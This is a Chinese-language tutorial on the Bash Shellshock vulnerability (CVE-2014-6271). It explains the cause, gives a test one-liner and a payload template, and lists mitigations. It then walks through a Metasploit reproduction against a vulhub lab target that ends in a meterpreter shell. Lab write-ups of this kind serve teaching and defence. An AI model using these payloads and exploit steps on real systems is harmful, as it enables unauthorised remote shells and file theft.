CVE-2014-6271 是一个著名的安全漏洞,通常被称为 "Shellshock"(破壳漏洞)。这是关于 Bash(Bourne Again Shell)的一个严重安全漏洞。
一、漏洞介绍
基本信息
漏洞原理
该漏洞存在于 Bash 处理环境变量的方式中。Bash 在解析环境变量时,会执行函数定义后的任意代码。
漏洞触发示例:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"如果输出包含 "vulnerable",则说明系统存在此漏洞。
漏洞成因
Bash 在初始化时,会解析以 () { 开头的环境变量作为函数定义。但解析器在处理完函数定义后,不会停止,而是继续执行函数定义后的代码。
正常情况下的环境变量传递:
# 合法的函数定义
my_func='() { echo "hello"; }'恶意利用:
# 函数定义后附加恶意代码
x='() { :;}; /bin/sh -c "malicious command"'攻击流程:
发送payload-->http请求(恶意请求头)-->中间件接受-->写入环境变量-->调用bash,运行cgi文件-->bash解析环境变量-->执行payload
影响范围
操作系统:所有使用 Bash 的 Unix/Linux 系统
网络服务:CGI 脚本、SSH、DHCP 客户端、Qmail 等
设备:路由器、网络设备、物联网设备、Mac OS X 等
修复方案
官方补丁
Bash 官方发布了多个补丁(Patch 25-28)来修复此漏洞及相关的变种(CVE-2014-7169 等)。
临时缓解措施
升级到 Bash 4.3 Patch 25 或更高版本
使用其他 Shell(如 dash、zsh)替代 Bash
限制 CGI 脚本使用
网络层面过滤:WAF 规则拦截
() {模式
二、完整复现
1.准备工作
攻击机:192.168.68.128(kalilinux)
目标靶机:192.168.68.134(ubuntu+docker)
来源:https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271
布置靶场:
我们还是先在ubuntu上进入把上面链接中的CVE-2014-6271文件夹下载到ubuntu,然后进入这个文件夹中,执行
sudo docker-compose up -d然后服务运行监听8080端口,目录下还有两个cgi文件,safe.cgi使用的系统的bash,是安全版本,victim.cgi使用的就是存在该漏洞的版本
2.msf复现
打开kali终端
1.启动msf: msfconsole
2.search
search cve-2014-6271
可以看到我们需要用到的模块就是第二个,第一个是 Advantech(研华)品牌的工业网络交换机相关的
3.使用漏洞模块
use exploit/multi/http/apache_mod_cgi_bash_env_exec4.查看需要设置的参数
show options
可以看到一堆参数,不要慌,我们慢慢来,首先required是yes的参数都必须设置,前四个已经自动给我们设置好了,然后lhost和lport也给我们设置好了,target就一个,我们就不用动了,timeout超时时间我们也保持默认,rhosts就填写目标靶机的ip即可,rport是8080,TARGETURI需要我们填写victim.cgi文件也就是/victim.cgi(因为在网站根目录下)
tips:因为cgi文件默认就是调用bash执行,所以必须指定。
SRVPORT可以随便写,只要端口没占用就可以,这里的SRVHOST其实也可以是0.0.0.0,但是不建议,这样子Metasploit会监听所有ip,而目标靶机如果要下载payload需要一个精准的ip,所以我们就设置成攻击机的ip,192.168.68.128
5.配置参数
set SRVHOST 192.168.68.128
set RPORT 8080
set RHOSTS 192.168.68.134
set TARGETURI /victim.cgi
6.执行payload
我们输入 run
可以看到连接已经建立,出现meterpreter说明我们成功了
输入shell就可以进入目标靶机的终端,我们就可以可以看看他的源码,读取文件了